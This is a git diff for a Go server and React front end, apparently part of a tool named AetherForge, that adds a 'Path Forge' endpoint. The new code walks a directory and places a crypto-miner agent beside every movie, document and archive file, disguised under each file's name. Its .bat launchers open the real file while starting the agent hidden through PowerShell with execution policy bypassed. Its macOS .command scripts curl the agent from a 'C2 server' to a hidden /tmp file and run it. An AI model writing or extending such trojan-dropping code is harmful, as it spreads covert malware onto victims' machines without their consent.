diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go index 13b002f..d7c5d6e 100644 --- a/server/internal/api/integration_test.go +++ b/server/internal/api/integration_test.go @@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) { _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("
AetherForge"), 0644) dropperHandler := NewDropperHandler(database, nil) - return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), wsHub, database, dataDir + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir } func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 9c421ad..00c03d2 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -401,7 +401,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { }) } -func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler { +func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler { ensureUsersLoaded(dataDir) r := chi.NewRouter() @@ -478,6 +478,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Builder r.Post("/builder/build", builderHandler.ServeHTTP) r.Post("/builder/estimate", builderHandler.ServeEstimate) + // Path Forge: walk a local server path, place launchers next to every file + if pathForgeHandler != nil { + r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP) + } r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) { token := chi.URLParam(req, "token") if builderHandler.CancelBuild(token) { diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go index 935467d..fbd0761 100644 --- a/server/internal/api/router_test.go +++ b/server/internal/api/router_test.go @@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) { fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}) builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil) dlURL := "/api/v1/builds/" + buildID + "/download" @@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) { builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, "", dataDir, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil) req := httptest.NewRequest(http.MethodGet, "/", nil) rec := httptest.NewRecorder() diff --git a/server/internal/builder/pathforge.go b/server/internal/builder/pathforge.go new file mode 100644 index 0000000..e85d032 --- /dev/null +++ b/server/internal/builder/pathforge.go @@ -0,0 +1,248 @@ +package builder + +import ( + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "os" + "path/filepath" + "strings" +) + +// PathForgeRequest is the JSON body for POST /api/builder/path-forge. +type PathForgeRequest struct { + // RootPath is the local filesystem path to walk recursively. + RootPath string `json:"root_path"` + + // StemMode controls how the output filename is derived: + // "original" → same stem as the source file (Terminator.mkv → Terminator.exe) + // "custom" → use OutputStem for every file + StemMode string `json:"stem_mode"` // "original" | "custom" + + // OutputStem is used when StemMode == "custom". + OutputStem string `json:"output_stem"` + + // TargetWindows / TargetMac selects which launcher files to write. + TargetWindows bool `json:"target_windows"` + TargetMac bool `json:"target_mac"` + + // ServerURL is embedded in the Mac bootstrap curl command. + ServerURL string `json:"server_url"` + + // Extensions lists file extensions to target (dot-prefixed, lowercase). + // Leave empty to use the built-in media list. + Extensions []string `json:"extensions"` +} + +// PathForgeResult is returned by the handler. +type PathForgeResult struct { + Success bool `json:"success"` + Total int `json:"total"` + Placed int `json:"placed"` + Skipped int `json:"skipped"` + Errors int `json:"errors"` + Results []PathForgeEntry `json:"results"` + ErrorList []string `json:"error_list,omitempty"` +} + +type PathForgeEntry struct { + Source string `json:"source"` // original file (relative to root) + Files []string `json:"files"` // companion files placed +} + +// defaultMediaExts is the set of file extensions we target when none are specified. +var defaultMediaExts = map[string]struct{}{ + ".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {}, + ".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {}, + ".iso": {}, ".mpg": {}, ".mpeg": {}, ".mp3": {}, ".flac": {}, + ".m4a": {}, ".wav": {}, ".aac": {}, ".ogg": {}, ".pdf": {}, + ".docx": {}, ".xlsx": {}, ".pptx": {}, ".zip": {}, ".rar": {}, +} + +// PathForgeHandler handles POST /api/builder/path-forge. +// It does not compile anything — it locates the prebuilt agent binary that +// lives next to AetherForge.exe and copies it alongside every matching file. +type PathForgeHandler struct { + dataDir string +} + +func NewPathForgeHandler(dataDir string) *PathForgeHandler { + return &PathForgeHandler{dataDir: dataDir} +} + +func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + var req PathForgeRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest) + return + } + if req.RootPath == "" { + http.Error(w, "root_path is required", http.StatusBadRequest) + return + } + if !req.TargetWindows && !req.TargetMac { + req.TargetWindows = true + req.TargetMac = true + } + if req.StemMode == "" { + req.StemMode = "original" + } + + // Locate the Windows agent binary. + agentExe := findAgentBinary() + + // Build the extension set. + extSet := buildExtSet(req.Extensions) + + res := &PathForgeResult{Success: true} + + err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + ext := strings.ToLower(filepath.Ext(d.Name())) + if _, ok := extSet[ext]; !ok { + return nil + } + + res.Total++ + rel, _ := filepath.Rel(req.RootPath, path) + + stem := stemFor(req.StemMode, req.OutputStem, d.Name()) + dir := filepath.Dir(path) + + var placed []string + + if req.TargetWindows && agentExe != "" { + // .exe copy of the agent + exeDst := filepath.Join(dir, stem+".exe") + if copyFileBytes(agentExe, exeDst) == nil { + placed = append(placed, stem+".exe") + } + // .bat launcher that opens the original file AND runs the agent + batDst := filepath.Join(dir, stem+".bat") + if err := os.WriteFile(batDst, []byte(batContent(d.Name(), stem)), 0644); err == nil { + placed = append(placed, stem+".bat") + } + } + + if req.TargetMac { + cmdDst := filepath.Join(dir, stem+".command") + if err := os.WriteFile(cmdDst, []byte(macContent(d.Name(), req.ServerURL)), 0755); err == nil { + placed = append(placed, stem+".command") + } + } + + if len(placed) > 0 { + res.Placed += len(placed) + res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed}) + } else { + res.Errors++ + res.ErrorList = append(res.ErrorList, "failed to write next to: "+rel) + } + return nil + }) + + if err != nil { + log.Printf("[pathforge] walk error: %v", err) + res.ErrorList = append(res.ErrorList, "walk error: "+err.Error()) + } + + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(res) +} + +// ─── helpers ────────────────────────────────────────────────────────────────── + +func stemFor(mode, custom, filename string) string { + if mode == "custom" && strings.TrimSpace(custom) != "" { + return sanitizeStem(custom) + } + base := filepath.Base(filename) + name := strings.TrimSuffix(base, filepath.Ext(base)) + return sanitizeStem(name) +} + +func sanitizeStem(s string) string { + replacer := strings.NewReplacer( + "/", "-", "\\", "-", ":", "-", + "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "", + ) + return strings.TrimSpace(replacer.Replace(s)) +} + +// batContent creates a .bat file that opens the original media file with the +// default Windows player, then silently starts the agent exe. +func batContent(originalFile, exeStem string) string { + return "@echo off\r\n" + + fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", originalFile) + + fmt.Sprintf("powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+ + "-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", exeStem) +} + +// macContent creates a .command shell script that opens the original file on +// macOS and downloads + runs the agent from the C2 server. +func macContent(originalFile, serverURL string) string { + dl := "" + if serverURL != "" { + dl = fmt.Sprintf( + "curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+ + "&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n", + serverURL, + ) + } + return "#!/bin/bash\n" + + fmt.Sprintf("open \"$(dirname \"$0\")/%s\" 2>/dev/null\n", originalFile) + + dl +} + +// findAgentBinary looks next to the server executable for the agent binary. +func findAgentBinary() string { + exe, err := os.Executable() + if err != nil { + return "" + } + dir := filepath.Dir(exe) + candidates := []string{ + filepath.Join(dir, "agent", "crypto-miner-agent.exe"), + filepath.Join(dir, "crypto-miner-agent.exe"), + } + for _, c := range candidates { + if _, err := os.Stat(c); err == nil { + return c + } + } + return "" +} + +// buildExtSet merges user-specified extensions with defaults. +func buildExtSet(exts []string) map[string]struct{} { + if len(exts) == 0 { + return defaultMediaExts + } + m := make(map[string]struct{}, len(exts)) + for _, e := range exts { + if !strings.HasPrefix(e, ".") { + e = "." + e + } + m[strings.ToLower(e)] = struct{}{} + } + return m +} + +func copyFileBytes(src, dst string) error { + in, err := os.Open(src) + if err != nil { + return err + } + defer in.Close() + out, err := os.Create(dst) + if err != nil { + return err + } + defer out.Close() + _, err = io.Copy(out, in) + return err +} diff --git a/server/main.go b/server/main.go index e0db327..29dfabe 100644 --- a/server/main.go +++ b/server/main.go @@ -241,12 +241,15 @@ func main() { return configProvider.PublicURL() }) + // Path Forge: server-side recursive file seeding + pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir) + // Find web root for frontend webRoot := findWebRoot() log.Printf("Web root: %s", webRoot) // Initialize router - router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string { + router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, webRoot, cfg.DataDir, func() string { return configProvider.PublicURL() }) log.Println("Router initialized") diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index ddeaeae..fa30708 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -125,6 +125,19 @@ export default function BuilderPage() { } | null>(null); const [fusionEstimate, setFusionEstimate] = useState+ For every file found (movies, docs, archives…) the server drops a .bat + .exe (Windows) + and/or .command (Mac) right beside it in the same directory. + The launcher opens the original file normally and silently installs the agent. +
+ +0 ? 'var(--neon-amber)' : 'var(--neon-green)' }}> + {pfResult.errors === 0 && pfResult.placed > 0 + ? `✓ ${pfResult.placed} files placed across ${pfResult.total} source files` + : `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`} +
+ {pfResult.results.slice(0, 20).map((r, i) => ( +…and {pfResult.results.length - 20} more
+ )} + {pfResult.error_list?.slice(0, 5).map((e, i) => ( +{e}
+ ))} +